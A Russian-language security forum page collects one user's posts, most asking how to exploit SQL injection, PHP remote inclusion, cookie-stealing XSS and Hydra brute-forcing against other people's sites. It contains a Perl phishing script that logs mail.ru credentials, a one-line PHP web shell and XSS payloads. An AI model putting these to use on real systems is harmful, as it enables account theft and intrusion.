Поиск  Пользователи  Правила 
Закрыть
Логин:
Пароль:
Забыли свой пароль?
Войти
 
Выбрать дату в календареВыбрать дату в календаре

Страницы: Пред. 1 2 3 4 5 6 7 8 След.
TRACE и XSS, Как они связаны?
 
XSpider говорит, что если апач поддерживает метод TRACE, возможен XSS. Сходил по ссылкам, что внизу XSpider показывал - ничего особенного не объяснено. Может, кто подскажет?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
SQL-injection, Помогите правильно эксплуатировать
 
Допустим, на некотором сайте обнаружил SQL-инъекцию, которая выдала себя, когда я запросил:

www.site.com/index.php?id=-1'

Т.е. как обычно, выплюнула ошибку базы данных. Как понять какой запрос нужно забить чтобы считать хоть какие-то данные из базы: как узнать структуру таблицы и сколько всяких там null,null надо ввести для чтения инфы из таблицы?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
POST-запрос, Как послать?
 
Правильно ли я понял, что через браузер такой запрос не послать (т.е. в сам урл)? Только с создавая форму html и прописывая в ней метод отправки (ну и ещё прогами типа InetCrack)?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
php-include, Возможен ли?
 
Есть сайт, который подгружает файлы вот так:

http://server.ru/index.php?menu=faq

сама переменная faq - это файл, который лежит по адресу:
http://server.ru/inc/faq.inc.php

Никак не могу понять как задать переменную,чтоб локальные файлы можно было бы инклудить...
Удалённые не хочет: подставляю : http://www.hack.narod.ru/script.inc.php - ноль эмоций: ни результатов работы ни ошибки...
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
Скомпилить библиотеку в Mandrake 10.2, Чего мне не хватает?
 
Пытаюсь собрать библиотеку libssh 1.0
Команда ./configure выполнилась успешно. А вот make ругает:
Код
[root@localhost libssh]# make
gcc -g -O2 -Wall -g -I../include/   -c -o client.o client.c
In file included from client.c:27:
../include/libssh/libssh.h:40:25: openssl/dsa.h: No such file or directory
../include/libssh/libssh.h:41:25: openssl/rsa.h: No such file or directory
../include/libssh/libssh.h:42:25: openssl/sha.h: No such file or directory
../include/libssh/libssh.h:43:25: openssl/md5.h: No such file or directory
../include/libssh/libssh.h:44:26: openssl/hmac.h: No such file or directory
In file included from client.c:27:
../include/libssh/libssh.h:45: error: syntax error before "SHACTX"
../include/libssh/libssh.h:45: warning: type defaults to `int' in declaration of `SHACTX'
../include/libssh/libssh.h:45: warning: data definition has no type or storage class
../include/libssh/libssh.h:46: error: syntax error before "MD5CTX"
../include/libssh/libssh.h:46: warning: type defaults to `int' in declaration of `MD5CTX'
../include/libssh/libssh.h:46: warning: data definition has no type or storage class
../include/libssh/libssh.h:47: error: syntax error before "HMACCTX"
../include/libssh/libssh.h:47: warning: type defaults to `int' in declaration of `HMACCTX'
../include/libssh/libssh.h:47: warning: data definition has no type or storage class
../include/libssh/libssh.h:53:24: openssl/bn.h: No such file or directory
../include/libssh/libssh.h:54: error: syntax error before '*' token
../include/libssh/libssh.h:54: warning: type defaults to `int' in declaration of `bignum'
../include/libssh/libssh.h:54: warning: data definition has no type or storage class
../include/libssh/libssh.h:55: error: syntax error before '*' token
../include/libssh/libssh.h:55: warning: type defaults to `int' in declaration of `bignum_CTX'
../include/libssh/libssh.h:55: warning: data definition has no type or storage class
In file included from client.c:27:
../include/libssh/libssh.h:77: error: syntax error before '*' token
../include/libssh/libssh.h:77: warning: type defaults to `int' in declaration of `md5_init'
../include/libssh/libssh.h:77: warning: data definition has no type or storage class
../include/libssh/libssh.h:78: error: syntax error before '*' token
../include/libssh/libssh.h:79: error: syntax error before "MD5CTX"
../include/libssh/libssh.h:80: error: syntax error before '*' token
../include/libssh/libssh.h:80: warning: type defaults to `int' in declaration of `sha1_init'
../include/libssh/libssh.h:80: warning: data definition has no type or storage class
../include/libssh/libssh.h:81: error: syntax error before '*' token
../include/libssh/libssh.h:82: error: syntax error before "SHACTX"
../include/libssh/libssh.h:86: error: syntax error before '*' token
../include/libssh/libssh.h:86: warning: type defaults to `int' in declaration of `hmac_init'
../include/libssh/libssh.h:86: warning: data definition has no type or storage class
../include/libssh/libssh.h:87: error: syntax error before '*' token
../include/libssh/libssh.h:88: error: syntax error before '*' token
../include/libssh/libssh.h:121: error: syntax error before "DSA"
../include/libssh/libssh.h:121: warning: no semicolon at end of struct or union
../include/libssh/libssh.h:122: warning: type defaults to `int' in declaration of `rsa_pub'
../include/libssh/libssh.h:122: warning: data definition has no type or storage class
../include/libssh/libssh.h:123: error: syntax error before '}' token
../include/libssh/libssh.h:123: warning: type defaults to `int' in declaration of `PUBLIC_KEY'
../include/libssh/libssh.h:123: warning: data definition has no type or storage class
../include/libssh/libssh.h:127: error: syntax error before "DSA"
../include/libssh/libssh.h:127: warning: no semicolon at end of struct or union
../include/libssh/libssh.h:128: warning: type defaults to `int' in declaration of `rsa_priv'
../include/libssh/libssh.h:128: warning: data definition has no type or storage class
../include/libssh/libssh.h:129: error: syntax error before '}' token
../include/libssh/libssh.h:129: warning: type defaults to `int' in declaration of `PRIVATE_KEY'
../include/libssh/libssh.h:129: warning: data definition has no type or storage class
../include/libssh/libssh.h:133: error: syntax error before "DSA_SIG"
../include/libssh/libssh.h:133: warning: no semicolon at end of struct or union
../include/libssh/libssh.h:135: error: syntax error before '}' token
../include/libssh/libssh.h:135: warning: type defaults to `int' in declaration of `SIGNATURE'
../include/libssh/libssh.h:135: warning: data definition has no type or storage class
../include/libssh/libssh.h:178: error: syntax error before "bignum"
../include/libssh/libssh.h:178: warning: no semicolon at end of struct or union
../include/libssh/libssh.h:179: error: `SHA_DIGEST_LENGTH' undeclared here (not in a function)
../include/libssh/libssh.h:189: error: `EVP_MAX_MD_SIZE' undeclared here (not in a function)
../include/libssh/libssh.h:196: error: syntax error before '}' token
../include/libssh/libssh.h:196: warning: type defaults to `int' in declaration of `CRYPTO'
../include/libssh/libssh.h:196: warning: data definition has no type or storage class
../include/libssh/libssh.h:241: error: syntax error before "CRYPTO"
../include/libssh/libssh.h:241: warning: no semicolon at end of struct or union
../include/libssh/libssh.h:242: warning: type defaults to `int' in declaration of `next_crypto'
../include/libssh/libssh.h:242: warning: data definition has no type or storage class
../include/libssh/libssh.h:247: error: syntax error before '}' token
../include/libssh/libssh.h:247: warning: type defaults to `int' in declaration of `SSH_SESSION'
../include/libssh/libssh.h:247: warning: data definition has no type or storage class
../include/libssh/libssh.h:254: error: syntax error before '*' token
../include/libssh/libssh.h:255: error: syntax error before '*' token
../include/libssh/libssh.h:256: error: syntax error before '*' token
../include/libssh/libssh.h:269: error: syntax error before '*' token
../include/libssh/libssh.h:269: warning: type defaults to `int' in declaration of `ssh_connect'
../include/libssh/libssh.h:269: warning: data definition has no type or storage class
../include/libssh/libssh.h:270: error: syntax error before '*' token
../include/libssh/libssh.h:271: error: syntax error before '*' token
../include/libssh/libssh.h:272: error: syntax error before '*' token
../include/libssh/libssh.h:292: error: syntax error before '*' token
../include/libssh/libssh.h:293: error: syntax error before '*' token
../include/libssh/libssh.h:294: error: syntax error before '*' token
../include/libssh/libssh.h:295: error: syntax error before '*' token
../include/libssh/libssh.h:296: error: syntax error before '*' token
../include/libssh/libssh.h:297: error: syntax error before '*' token
../include/libssh/libssh.h:298: error: syntax error before '*' token
../include/libssh/libssh.h:300: error: syntax error before '*' token
../include/libssh/libssh.h:301: error: syntax error before '*' token
../include/libssh/libssh.h:304: error: syntax error before '*' token
../include/libssh/libssh.h:307: error: syntax error before '*' token
../include/libssh/libssh.h:309: error: syntax error before '*' token
../include/libssh/libssh.h:311: error: syntax error before "make_string_bn"
../include/libssh/libssh.h:311: warning: type defaults to `int' in declaration of `make_string_bn'
../include/libssh/libssh.h:311: warning: data definition has no type or storage class
../include/libssh/libssh.h:312: error: syntax error before '*' token
../include/libssh/libssh.h:315: error: syntax error before '*' token
../include/libssh/libssh.h:316: error: syntax error before '*' token
../include/libssh/libssh.h:317: error: syntax error before '*' token
../include/libssh/libssh.h:319: error: syntax error before '*' token
../include/libssh/libssh.h:322: error: syntax error before '*' token
../include/libssh/libssh.h:323: error: syntax error before '*' token
../include/libssh/libssh.h:324: error: syntax error before '*' token
../include/libssh/libssh.h:325: error: syntax error before '*' token
../include/libssh/libssh.h:326: error: syntax error before '*' token
../include/libssh/libssh.h:327: error: syntax error before '*' token
../include/libssh/libssh.h:331: error: syntax error before '*' token
../include/libssh/libssh.h:331: warning: type defaults to `int' in declaration of `ssh_session_new'
../include/libssh/libssh.h:331: warning: data definition has no type or storage class
../include/libssh/libssh.h:332: error: syntax error before '*' token
../include/libssh/libssh.h:337: error: syntax error before '*' token
../include/libssh/libssh.h:339: error: syntax error before '*' token
../include/libssh/libssh.h:340: error: syntax error before '*' token
../include/libssh/libssh.h:345: error: syntax error before '*' token
../include/libssh/libssh.h:346: error: syntax error before '*' token
../include/libssh/libssh.h:346: warning: type defaults to `int' in declaration of `publickey_make_dss'
../include/libssh/libssh.h:346: warning: data definition has no type or storage class
../include/libssh/libssh.h:347: error: syntax error before '*' token
../include/libssh/libssh.h:347: warning: type defaults to `int' in declaration of `publickey_make_rsa'
../include/libssh/libssh.h:347: warning: data definition has no type or storage class
../include/libssh/libssh.h:348: error: syntax error before '*' token
../include/libssh/libssh.h:348: warning: type defaults to `int' in declaration of `publickey_from_string'
../include/libssh/libssh.h:348: warning: data definition has no type or storage class
../include/libssh/libssh.h:349: error: syntax error before '*' token
../include/libssh/libssh.h:349: error: syntax error before "PUBLIC_KEY"
../include/libssh/libssh.h:349: warning: type defaults to `int' in declaration of `signature_from_string'
../include/libssh/libssh.h:349: warning: data definition has no type or storage class
../include/libssh/libssh.h:350: error: syntax error before '*' token
../include/libssh/libssh.h:351: error: syntax error before '*' token
../include/libssh/libssh.h:355: error: syntax error before '*' token
../include/libssh/libssh.h:355: error: syntax error before '*' token
../include/libssh/libssh.h:355: warning: type defaults to `int' in declaration of `privatekey_from_file'
../include/libssh/libssh.h:355: warning: data definition has no type or storage class
../include/libssh/libssh.h:356: error: syntax error before '*' token
../include/libssh/libssh.h:358: error: syntax error before '*' token
../include/libssh/libssh.h:362: error: syntax error before '*' token
../include/libssh/libssh.h:363: error: syntax error before '*' token
../include/libssh/libssh.h:370: error: syntax error before '*' token
../include/libssh/libssh.h:444: error: syntax error before '*' token
../include/libssh/libssh.h:445: error: syntax error before '*' token
../include/libssh/libssh.h:446: error: syntax error before '*' token
../include/libssh/libssh.h:447: error: syntax error before '*' token
../include/libssh/libssh.h:448: error: syntax error before '*' token
../include/libssh/libssh.h:451: error: syntax error before '*' token
../include/libssh/libssh.h:452: error: syntax error before '*' token
../include/libssh/libssh.h:455: error: syntax error before '*' token
../include/libssh/libssh.h:456: error: syntax error before '*' token
../include/libssh/libssh.h:456: warning: type defaults to `int' in declaration of `crypto_new'
../include/libssh/libssh.h:456: warning: data definition has no type or storage class
../include/libssh/libssh.h:457: error: syntax error before '*' token
../include/libssh/libssh.h:458: error: syntax error before "BN_new"
../include/libssh/libssh.h:458: warning: type defaults to `int' in declaration of `BN_new'
../include/libssh/libssh.h:458: warning: data definition has no type or storage class
client.c:29: error: syntax error before '*' token
client.c:32: error: syntax error before '*' token
client.c: In function `get_banner':
client.c:36: error: `session' undeclared (first use in this function)
client.c:36: error: (Each undeclared identifier is reported only once
client.c:36: error: for each function it appears in.)
client.c: At top level:
client.c:57: error: syntax error before '*' token
client.c: In function `send_banner':
client.c:60: error: `session' undeclared (first use in this function)
client.c: At top level:
client.c:68: error: syntax error before '*' token
client.c: In function `dh_handshake':
client.c:70: error: `session' undeclared (first use in this function)
client.c: At top level:
client.c:125: error: syntax error before '*' token
client.c: In function `ssh_service_request':
client.c:127: error: `session' undeclared (first use in this function)
client.c:129: error: `service' undeclared (first use in this function)
client.c: At top level:
client.c:142: error: syntax error before '*' token
client.c:142: warning: return type defaults to `int'
client.c: In function `ssh_connect':
client.c:143: error: `session' undeclared (first use in this function)
client.c: At top level:
client.c:188: error: syntax error before '*' token
client.c: In function `ssh_cleanup':
client.c:190: error: `session' undeclared (first use in this function)
client.c: At top level:
client.c:222: error: syntax error before '*' token
client.c: In function `ssh_get_issue_banner':
client.c:223: error: `session' undeclared (first use in this function)
client.c: At top level:
client.c:228: error: syntax error before '*' token
client.c: In function `ssh_disconnect':
client.c:230: error: `session' undeclared (first use in this function)
client.c: At top level:
../include/libssh/libssh.h:179: error: storage size of `session_id' isn't known
../include/libssh/libssh.h:181: error: storage size of `encryptIV' isn't known
../include/libssh/libssh.h:182: error: storage size of `decryptIV' isn't known
../include/libssh/libssh.h:184: error: storage size of `decryptkey' isn't known
../include/libssh/libssh.h:185: error: storage size of `encryptkey' isn't known
../include/libssh/libssh.h:187: error: storage size of `encryptMAC' isn't known
../include/libssh/libssh.h:188: error: storage size of `decryptMAC' isn't known
../include/libssh/libssh.h:189: error: storage size of `hmacbuf' isn't known
make: *** [client.o] Ошибка 1


С исходниками точно всё нормально: на удалённом шелле собралось (там стоит Slackware 9.1)

Я так понимаю, каких-то компонентов не хватает... Чего именно?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
Комфортная работа в инете через шлюз, Если шлюз требует аутентификации
 
Комп (WinXP SP2) имеет доступ в инет через локалку, подключённую к инету через шлюз. Шлюз для инета требует аутентификации.

Встаёт вопрос: как сделать так, чтобы работа была с инетом комфортная: т.е. во-первых, надо, чтоб браузер каждый раз при открытии не запрашивал логина и пасса, а во-вотрых, чтобы весь сетевой траффик мог работать без проблем. К примеру, я не могу воспользоваться в командкой строке командой ping: пишет, что-то вроде: узел не доступен. Всё из-за этой аутентификации...

Можно, конечно, большинство прог направить туннелированием их траффика, воспользовавшись чем-нить вроде SocksChain, но это не подходит: задолбаюсь все проги туды впихивать. Драйвер сетевого перенаправления на шлюз тоже не очень хорошая идея.

Может как-нить переменные среды настроить или ещё что?

P.S. Если кто вдруг не понял: логин и пасс для доступа имеются
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
Японские ученые придумали алгоритм быстрого обнаружения интернет-ло...
 
Обсуждение статьи Японские ученые придумали алгоритм быстрого обнаружения интернет-ловушек
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
Из инета в локальную сеть
 
Есть локальная сеть. Между сетью и инетом - сервер на линухе. Нужно, чтобы через инет я мог получить доступ к компу из локальной сети (обычное удалённое администрирование). Вопрос: что посоветуете поставить на шлюз? Можно прокси, но тогда придётся туннель прокладывать прогами на локальном компе. Есть что-нибудь менее гимморное?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
Проблема с брутфорсером Hydra
 
Думаю, этот брутфорсер известен многим.

Проблема вот в чём: когда начинаю брут через телнет при каждом бруте от находит для одного и того же логина разные пассы, которые при проверке не подходят. Пробовал брутить ftp и ssh - такого эффекта нет.

А когда перебираю по ftp (там стоит ProFTPd 1.2.10) - через некоторое время пишет, что таймаут настал, доступа нет. И пару минут пишет вот такую штуку. Прихордится брут прибивать. Есть у кого идеи решения этих 2-х проблем?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
Почему не работает этот cgi скрипт?
 
Нарыл скрипт в одной статье:

Код
#!/usr/bin/perl -w
 parse_form;
# открываем файл log.txt для добавления инфы
open LOG," gt; gt;../log.txt";
# записываем туда логин и пароль от ящика
print LOG "$FORM{Login} @ $FORM{Domain}, pass:$FORM{Password}\n";
# закрываем файл
close LOG;
# все, пароль сперт!
# теперь перекидываем на mail.ru:
print "Content-Type: text/html\n\n";
print " lt;HTML gt; lt;BODY gt;\n";
# создаем ту же форму, что и на настоящем mail.ru
print " lt;form name=\"Auth\" method=post action=http://win.mail.ru/cgi-bin/auth gt;\n";
print " lt;input type=hidden name=Mpopl value=1892134183 gt;\n";
print " lt;input type=hidden name=login_from value=titul gt;\n";
print " lt;input type=hidden name=\"level\" value=1 gt;\n";
print " lt;input type=hidden name=\"Login\" value=\"$FORM{Login}\" gt;\n";
print " lt;input type=hidden name=\"Password\" value=\"$FORM{Password}\" gt;\n";
print " lt;input type=hidden name=\"Domain\" value=\"$FORM{Domain}\" gt;\n";
print " lt;input TYPE=hidden name=\"\" value=\"Войти\" gt;\n";
# без участия пользователя жмем на невидимую кнопку submit =)
print " lt;script language=jаvаscriрt gt;Auth.submit() lt;/script gt;\n";
print " lt;/form gt;\n";
print " lt;/BODY gt; lt;/HTML gt;\n";


При попытке выполнить вываливает в логи об ошибках текст:

[Tue Jul 19 17:14:40 2005] [error] [client 127.0.0.1] Undefined subroutine main::parse_form called at \\home\\12700~1.1\\cgi-bin\\VBULLE~1.CGI line 2.\n


В чём дело?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
Помогите с php-injecti #111;n
 
Есть некий сайт. На его самописном форуме ссылки на темы имеют вид типа: topic_id=num.
Проверил на наличие num.php - существует. При чём тот самый.
Далее в браузере ввожу: http://имя_сайта/forum/topic_id=http://www.securitylab.ru Загрузилась главная страница секлаба.
Далее: на сайт site.com забрасываю shell.php с таким содержимым: nbsp; nbsp; nbsp;lt;? system($cmd); ? gt;
Пишу:  http://имя_сайта/forum/topic_id=http://site.com/shell.php cm d=ls
получаю в ответ: Warning: system() has been disabled for security reasons in http://site.com/shell.php on line 2

Тогда в файле shell.php заменил cmd на passthru. В ответ:
Warning: passthru() has been disabled for security reasons in http://site.com/shell.php on line 1

Попытался подрубить phpshell - уже кем-то написанный. Выдаёт:
Warning: exec() has been disabled for security reasons in http://site.com/phpsh.php on line 82


Как быть?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
Хеш кароля в vBulletin 3.x.x
 
Как этот форум шифрует пароли? Это явно не md5
Кто знает?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
Как использовать хеш пароля в PostNuke?
 
Имеется в виду БЕЗ брута!

Думал, в куках поискать хеш моего пасса, но там только POSTNUKESID значится. Переменный.

У кого-нибуть есть мысли?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
Раскрытие информации в exoops
 
Обсуждение статьи Раскрытие информации в exoops
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
Подмена URL и SSL сертификатов в IDN реализации в нескольких браузерах
 
Обсуждение статьи Подмена URL и SSL сертификатов в IDN реализации в нескольких браузерах
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
SQL-инъекция в Land Down Under
 
Обсуждение статьи SQL-инъекция в Land Down Under
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
Поднятие локальных привилегий через POSIX в Microsoft Windows 4.0, ...
 
Обсуждение статьи Поднятие локальных привилегий через POSIX в Microsoft Windows 4.0, 2000
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
Межсайтовое выполнение сценариев в vBulletin
 
Обсуждение статьи Межсайтовое выполнение сценариев в vBulletin
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
Подмена URL в Microsoft Internet Explorer (IE)
 
Обсуждение статьи Подмена URL в Microsoft Internet Explorer (IE)
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
Межсайтовый скриптинг
 
Есть сервер, в котором мона осуществить межсайтовый скриптинг:
[FONT=expression(alert(document.cookie))]text</font> will made the HTML :
<span  style='font-family:expression(alert(document.cookie))'>te xt</span>

Есть некий сервер server.com На нём лежит мой скрипт: server.com/cgi-bin/cookie.cgi

Задача: саму строку эксплоита модифицировать так, чтоб исполнялся мой скрипт с сервера server.com

Не поможите?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
Страницы: Пред. 1 2 3 4 5 6 7 8 След.